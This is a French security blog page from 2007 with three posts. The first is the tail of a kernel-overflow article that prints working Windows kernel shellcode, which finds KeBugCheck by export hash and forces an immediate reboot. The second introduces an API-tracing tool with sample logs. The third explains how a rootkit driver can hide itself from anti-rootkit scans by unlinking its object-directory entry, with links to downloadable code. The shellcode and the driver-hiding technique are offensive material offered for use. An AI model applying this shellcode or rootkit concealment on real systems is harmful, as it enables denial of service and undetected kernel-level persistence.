unsigned int i, hash=0;

if(argc !=2)
return 0;

for(i=0; *(argv[1]+i)!=0; i++)
{
hash=ROR32(hash, 0xD);
hash+=*(argv[1]+i);
}

printf("Hash de %s: 0x%xn", argv[1], hash);
}

Enfin, après avoir récupéré les adresses des fonctions de ntoskrnl, il ne reste plus qu’a lancé notre diabolique attaque. Pour tripper j’ai décidé d’utilisé d’appeler la fonction KeBugCheck, celle-ci même qui est appelé lors d’un BSOD, avec comme argument une valeur, celle de POWER_FAILURE_SIMULATE qui comme la dit Alex Ionescu sur son blog reboot le système sans passer par la case BSOD : « No BSOD, no crash dump, just a clean, simple, immediate reboot. » :]

Au final on obtient donc le shellcode de 88 bytes suivant :

__asm{
pushad
push ebp
push 34h
pop ebx //ebx=34
mov ebx, dword ptr fs:[ebx] //KPCR + 0x034 -> KdVersionBlock  (ptr to an _DBGKD_GET_VERSION64 structure)
mov ebp, dword ptr [ebx+0x10] //KdVersionBlock + 0x10 -> KernBase;

//ebp= ImageBase
//edx= IMAGE_EXPORT_DIRECTORY
//ecx= compteur de NumberOfNames
//esi= ptr sur les Noms
//eax et edi calcul du hash
//ebx= AddressOfNames

mov eax, dword ptr [ebp+0x3c] //'MZ'+ 0x3c = e_lfanew (offset 'PE', 0x4550)
mov edx, dword ptr [ebp+eax+0x78] //PE'+0x78 = début IMAGE_DIRECTORY_ENTRY_EXPORT * 'PE'+0x78 = VirtualAddress

add edx, ebp //RVA -> VA EDX contient la l'addr de la struct IMAGE_EXPORT_DIRECTORY

mov ebx, dword ptr [edx+0x20] //IMAGE_EXPORT_DIRECTORY + 0x20 -> rva AddressOfNames
add ebx, ebp // RVA -> VA

mov ecx, dword ptr [edx+0x18] //IMAGE_EXPORT_DIRECTORY + 0x18 -> rva NumberOfNames

find_function:

dec ecx // on scan de NumberOfNames-1 à 0

mov esi, dword ptr [ebx+ecx*4] //esi RVA Addr Name
add esi, ebp //VA name

xor edi, edi //edi=0
xor eax, eax //eax=0

cld //CLD - Clear Direction Flag, lodsb va de la gauche vers droite de la string
hash:
lodsb // LODSB Load byte at address DS:(E)SI into AL
test al, al //fin du Name ?
jz endhash

ror edi, 0x0d
add edi, eax
jmp hash

endhash:

cmp edi, 0xb9f2aa1f //ApiHash KEBugCheck
jne find_function

mov eax, dword ptr [edx+0x24] //IMAGE_EXPORT_DIRECTORY + 0x24 -> rva AdressOfNameOrdinals
add eax, ebp //VA AddressOfNameOrdinals
mov cx, word ptr [eax+ecx*2] //Ordinal de la fonction
mov eax, dword ptr [edx+0x1c] //IMAGE_EXPORT_DIRECTORY + 0x1c -> rva AddressOfFunctions
add eax, ebp //VA AddressOfFunctions
mov eax, dword ptr [eax+ecx*4] //rva Fonction
add eax, ebp //rva -> VA

xor ebx, ebx //EBX=0
mov bl, 0xE5 //POWER_FAILURE_SIMULATE
push ebx
call eax //Call sur KEBugCheck

//on arrive jms là car on a kaboom la box :}
pop ebp
popad
}

Ce paper avait pour but de montrer que même si le nom fait peur, un overflow dans le kernel reste un overflow, j’espère que cela vous a plus et que vous avez eu en le lisant autant de plaisir que moi j’ai eu à l’écrire :]

Vous trouvez les codes içi :
http://ivanlef0u.fr/repo/KBOF.rar

Ivanlef0u

Références :
findjump2 :
http://governmentsecurity.org/archive/t13781.html

Windows Kernel-mode Payload Fundamentals :
http://www.uninformed.org/?v=3&a=4&t=sumry

Win32 Assembly Components (sur mon repo) :
http://ivanlef0u.fr/repo/windoz/shellcoding/winasm-1.0.1.pdf

Rebooting from Kernel Mode :
http://www.alex-ionescu.com/?p=29

2 comments mars 10th, 2007

MyAPITracer

Dernièrement j’ai consacré mon temps à coder un petit tool pour me simplifier la vie, il s’agit d’un traceur d’API ring 3 utilisant les symboles de debug pour récupérer des informations sur les noms des fonctions utilisées par le programme et leurs arguments. L’idée est de mettre sur le prologue de chacunes des fonctions exportées par les DLL un breakpoint (int 3), de lancer le process puis de gérer les exceptions, si on tombe sur une EXCEPTION_DEBUG_EVENT alors on affiche le nom de la fonction qui la généré et on relance le thread. Dans la théorie ca parait simple après c’est un peu plus compliqué, disons que avoir un tool complètement opérationnel va me demander pas mal de taff et que pour l’instant j’arrive à le faire tourner sur des programmes assez basiques.


Le mieux est de montrer ce tool balance pour l’instant. Le code qui sera utilisé est celui-ci :

//systeminfo.c
#include <windows.h>
#include <stdio.h>

int main(int argc, char * argv[])
{
SYSTEM_INFO SystemInfo;

GetSystemInfo(&SystemInfo);

printf("lpMinimumApplicationAddress : 0x%xn", SystemInfo.lpMinimumApplicationAddress);
printf("lpMaximumApplicationAddress : 0x%xn", SystemInfo.lpMaximumApplicationAddress);

return 0;
}

Il permet d’obtenir les adresses hautes et basses du Userland, on obtient comme adresse minumum 0×10000 et comme adresse max 0x7ffeffff. Le binaire à été compilé avec le flag /DEBUG et le linker nous à aussi généré un joli .pdb contenant les informations de debug de notre programme.

Maitenant je lance mon petit tool dessus :

****STARTING DEBUGEE****
EntryPoint : 0x402337
Number of modules: 3
Base : 0x7c800000
NumberOfFunctions : 949
NumberOfNames : 949
****STARTING LOGGING****
Call From : 0x40235d : systeminfo!mainCRTStartup+0x26
0x7c8111da : kernel32!GetVersion

Call From : 0x403938 : systeminfo!_heap_init+0x11
0x7c812bb6 : kernel32!HeapCreate

Call From : 0x403fe2 : systeminfo!_mtinitlocks+0x9
0x7c809ef1 : kernel32!InitializeCriticalSection

Call From : 0x403fea : systeminfo!_mtinitlocks+0x11
0x7c809ef1 : kernel32!InitializeCriticalSection

Call From : 0x403ff2 : systeminfo!_mtinitlocks+0x19
0x7c809ef1 : kernel32!InitializeCriticalSection

Call From : 0x403ffa : systeminfo!_mtinitlocks+0x21
0x7c809ef1 : kernel32!InitializeCriticalSection

Call From : 0x403795 : systeminfo!_mtinit+0x6
0x7c812d9f : kernel32!TlsAlloc

Call From : 0x4054b5 : systeminfo!__sbh_alloc_new_region+0x76
0x7c809a51 : kernel32!VirtualAlloc

Call From : 0x7c809a64 : kernel32!VirtualAlloc+0x13
0x7c809a72 : kernel32!VirtualAllocEx

Call From : 0x405541 : systeminfo!__sbh_alloc_new_group+0x51
0x7c809a51 : kernel32!VirtualAlloc

Call From : 0x7c809a64 : kernel32!VirtualAlloc+0x13
0x7c809a72 : kernel32!VirtualAllocEx

Call From : 0x4037bd : systeminfo!_mtinit+0x2e
0x7c809bc5 : kernel32!TlsSetValue

Call From : 0x4037ce : systeminfo!_mtinit+0x3f
0x7c809728 : kernel32!GetCurrentThreadId

Call From : 0x4035dd : systeminfo!_ioinit+0x5e
0x7c801eee : kernel32!GetStartupInfoA

Call From : 0x4036eb : systeminfo!_ioinit+0x16c
0x7c812f39 : kernel32!GetStdHandle

Call From : 0x4036f9 : systeminfo!_ioinit+0x17a
0x7c810e51 : kernel32!GetFileType

Call From : 0x7c810e8e : kernel32!GetFileType+0x3d
0x7c81aeaa : kernel32!VerifyConsoleIoHandle

Call From : 0x4036eb : systeminfo!_ioinit+0x16c
0x7c812f39 : kernel32!GetStdHandle

Call From : 0x4036f9 : systeminfo!_ioinit+0x17a
0x7c810e51 : kernel32!GetFileType

Call From : 0x7c810e8e : kernel32!GetFileType+0x3d
0x7c81aeaa : kernel32!VerifyConsoleIoHandle

Call From : 0x4036eb : systeminfo!_ioinit+0x16c
0x7c812f39 : kernel32!GetStdHandle

Call From : 0x4036f9 : systeminfo!_ioinit+0x17a
0x7c810e51 : kernel32!GetFileType

Call From : 0x7c810e8e : kernel32!GetFileType+0x3d
0x7c81aeaa : kernel32!VerifyConsoleIoHandle

Call From : 0x403730 : systeminfo!_ioinit+0x1b1
0x7c80cc97 : kernel32!SetHandleCount

Call From : 0x4023bc : systeminfo!mainCRTStartup+0x85
0x7c812f1d : kernel32!GetCommandLineA

Call From : 0x403464 : systeminfo!__crtGetEnvironmentStringsA+0x17
0x7c812f08 : kernel32!GetEnvironmentStringsW

Call From : 0x4034dc : systeminfo!__crtGetEnvironmentStringsA+0x8f
0x7c80a0d4 : kernel32!WideCharToMultiByte

Call From : 0x4034fe : systeminfo!__crtGetEnvironmentStringsA+0xb1
0x7c80a0d4 : kernel32!WideCharToMultiByte

Call From : 0x40351b : systeminfo!__crtGetEnvironmentStringsA+0xce
0x7c814ae7 : kernel32!FreeEnvironmentStringsW

Call From : 0x4040ab : systeminfo!_lock+0x3d
0x7c809ef1 : kernel32!InitializeCriticalSection

Call From : 0x404653 : systeminfo!_setmbcp+0x13
0x7c809915 : kernel32!GetACP

Call From : 0x404691 : systeminfo!_setmbcp+0x51
0x7c812e76 : kernel32!GetCPInfo

Call From : 0x4048a7 : systeminfo!_setmbcp+0x267
0x7c812e76 : kernel32!GetCPInfo

Call From : 0x406cbe : systeminfo!__crtGetStringTypeA+0x3f
0x7c80a490 : kernel32!GetStringTypeW

Call From : 0x406d44 : systeminfo!__crtGetStringTypeA+0xc5
0x7c809bf8 : kernel32!MultiByteToWideChar

Call From : 0x406d9a : systeminfo!__crtGetStringTypeA+0x11b
0x7c809bf8 : kernel32!MultiByteToWideChar

Call From : 0x406dac : systeminfo!__crtGetStringTypeA+0x12d
0x7c80a490 : kernel32!GetStringTypeW

Call From : 0x406a72 : systeminfo!__crtLCMapStringA+0x42
0x7c80cca8 : kernel32!LCMapStringW

Call From : 0x406b0f : systeminfo!__crtLCMapStringA+0xdf
0x7c809bf8 : kernel32!MultiByteToWideChar

Call From : 0x406b67 : systeminfo!__crtLCMapStringA+0x137
0x7c809bf8 : kernel32!MultiByteToWideChar

Call From : 0x406b7d : systeminfo!__crtLCMapStringA+0x14d
0x7c80cca8 : kernel32!LCMapStringW

Call From : 0x406c18 : systeminfo!__crtLCMapStringA+0x1e8
0x7c80cca8 : kernel32!LCMapStringW

Call From : 0x406c3d : systeminfo!__crtLCMapStringA+0x20d
0x7c80a0d4 : kernel32!WideCharToMultiByte

Call From : 0x406b0f : systeminfo!__crtLCMapStringA+0xdf
0x7c809bf8 : kernel32!MultiByteToWideChar

Call From : 0x406b67 : systeminfo!__crtLCMapStringA+0x137
0x7c809bf8 : kernel32!MultiByteToWideChar

Call From : 0x406b7d : systeminfo!__crtLCMapStringA+0x14d
0x7c80cca8 : kernel32!LCMapStringW

Call From : 0x406c18 : systeminfo!__crtLCMapStringA+0x1e8
0x7c80cca8 : kernel32!LCMapStringW

Call From : 0x406c3d : systeminfo!__crtLCMapStringA+0x20d
0x7c80a0d4 : kernel32!WideCharToMultiByte

Call From : 0x403223 : systeminfo!_setargv+0x23
0x7c80b4cf : kernel32!GetModuleFileNameA

Call From : 0x7c80b508 : kernel32!GetModuleFileNameA+0x39
0x7c80b3d5 : kernel32!GetModuleFileNameW

Call From : 0x4022ba : systeminfo!main+0xa
0x7c812d56 : kernel32!GetSystemInfo

Call From : 0x7c812d3b : kernel32!GetProcessVersion+0x118
0x7c812c23 : kernel32!GetProcessVersion

Call From : 0x4040ab : systeminfo!_lock+0x3d
0x7c809ef1 : kernel32!InitializeCriticalSection

Call From : 0x407554 : systeminfo!_lock_fhandle+0x3d
0x7c809ef1 : kernel32!InitializeCriticalSection

Call From : 0x406149 : systeminfo!_write_lk+0xc7
0x7c810d87 : kernel32!WriteFile

Call From : 0x7c81cf4c : kernel32!WriteConsoleA+0x27
0x7c81cf25 : kernel32!WriteConsoleA

Call From : 0x406149 : systeminfo!_write_lk+0xc7
0x7c810d87 : kernel32!WriteFile

Call From : 0x7c81cf4c : kernel32!WriteConsoleA+0x27
0x7c81cf25 : kernel32!WriteConsoleA

Call From : 0x4040ab : systeminfo!_lock+0x3d
0x7c809ef1 : kernel32!InitializeCriticalSection

Call From : 0x4040ab : systeminfo!_lock+0x3d
0x7c809ef1 : kernel32!InitializeCriticalSection

Call From : 0x4040ab : systeminfo!_lock+0x3d
0x7c809ef1 : kernel32!InitializeCriticalSection

Call From : 0x402f9b : systeminfo!_c_exit+0xac
0x7c81cdda : kernel32!ExitProcess

Process Exited

Remarquez que je ne loggue pas les appels aux fonctions de ntdll. On voit que la CRT (C RunTime) bouffe la majorité du log pour pas dire grand chose d’utile et qu’au final le code se résume en fait à :
Pour la fonction GetSystemInfo:
Call From : 0x4022ba : systeminfo!main+0xa
0x7c812d56 : kernel32!GetSystemInfo
et pour printf:
Call From : 0×406149 : systeminfo!_write_lk+0xc7
0x7c810d87 : kernel32!WriteFile

Call From : 0x7c81cf4c : kernel32!WriteConsoleA+0×27
0x7c81cf25 : kernel32!WriteConsoleA

En fait ce tool se raproche un peu d’un strace sous nux, sauf qu’ici on loggue tous les appels aux API et pas uniquement les appels système.

Alors je sais, vous allez me dire que ce genre d’outils existe déjà, certes c’est vrai, mais combien utilisent les symboles de débuggage pour obtenir les noms des fonctions ? La plupart de ceux que j’ai vu comme le logger.exe des Debugging Tools for Windows utilisent une database à coté pour parser leurs informations. Avec les symboles on est sur d’avoir des infos à la fois sur notre programme (si celui-ci est compilé en debug) et sur les fonctions des DLL.

Développe ce tool commence à me prendre un peu la tête, je releaserais le binaire quand je l’aurais amélioré, par contre je garde les sources pour moi, le code étant tellement crade que même un moine tibétain défoncé au beurre de yack ne pourrait le comprendre.

En attendant voiçi un lien sur un topic d’OpenRCE causant des outils de monitoring pour Win, si jamais vous cherchez un tool du même genre vous y trouverez votre bonheur :
http://www.openrce.org/forums/posts/274

2 comments mars 8th, 2007

Unreal

Les petits batards de russkoff aux doux noms de MP_ART et EP_X0FF qui ont codé le rootkit POC unreal.a ont filé les sources certes, mais ils ont oublié de donné les définitions des structures utilisées et pire encore le code ne comporte aucun commentaire (et c’est moi qui ça :p), bref c’est un peu incompréhensible et surtout incompilable. Ayant la dernière fois parlé de l’ObpRootDirectoryObject mais sans donné un moyen pour pour y planquer notre driver je me rattrape cette fois-çi, et il y a même des commentaires ;)


Alors je récapitule ce que j’ai dit la dans le post précédent. L’ObpRootDirectoryObject est un structure gérée par l’Object Manager de Win qui contient l’arborescence des objets maintenu par le noyau. Chaque structure OBJECT_DIRECTORY comporte une liste chaînée d’OBJECT_DIRECTORY_ENTRY qui se compose donc d’un champ pointant sur la structure suivant (null si il n’y en à pas) et un champ pointant sur l’object référencé. Lorsque qu’on load un driver, son objet associé est ajouté dans la directory portant de le nom de ‘\Driver’ de l’ObpRootDirectoryObject il est donc possible de parcourir cette liste afin de retrouver les drivers loadés, méthode employée par certains anti-rookits.

Nous comme on est des méchants on voudrait pas que notre driver n’apparaisse pas dans cette liste, pour faire cela le principe est simple, comme on à affaire à une liste chaînée simple d’OBJECT_DIRECTORY_ENTRY il suffit de retrouver l’élément qui référence notre DriverObject puis de dire à celui qui le précède de pointer sur le suivant, dans le cas ou notre driver est le dernier élément de la liste on ne change rien car le champ ChainLink est nul donc après modification le champ Chainlink de l’élément précédent sera nul, dans le cas ou notre driver est le premier élément on modifie le pointeur de l’OBJECT_DIRECTORY pour qu’il commence au second.

Plus précisément le programme fonctionne de la manière suivante :

  1. On récupère un handle sur ObpRootDirectoryObject avec l’API ZwOpenDirectoryObject(), comme on veut manipuler l’objet que le handle référence on utilise ObReferenceObjectByHandle() pour obtenir un pointeur sur l’object.
  2. On scan récursivement l’arborescence à la recherche de notre DriverObject, dès qu’on l’a trouvé on modifie la liste comme dit plus haut.

Une dernière chose, comme notre thread va parcourir et modifier la structure il serait intéressant de « locker » celle-ci pendant que notre thread l’inspecte, c’est à dire d’empêcher les autres threads d’y accéder. Imaginez le cas ou un autre thread modifie en même temps la liste chaînée que nous, celui ci peut très bien supprimer l’élément suivant à notre driver et si juste avant on modifie le pointeur de l’élément précédent vers celui qui vient d’être supprimé car on voulait delinker notre driver, celui-ci aura une valeur fausse et donc toute la suite de liste sera fausse. Hélas ce genre de problèmes de synchronisation m’échappe encore …

En attendant le code fonctionne quand même :)

http://ivanlef0u.fr/repo/HideInObjDir.rar
Enjoy

5 comments mars 1st, 2007


Calendar

mars 2007
L Ma Me J V S D
« fév   avr »
 1234
567891011
12131415161718
19202122232425
262728293031  

Posts by Month

Posts by Category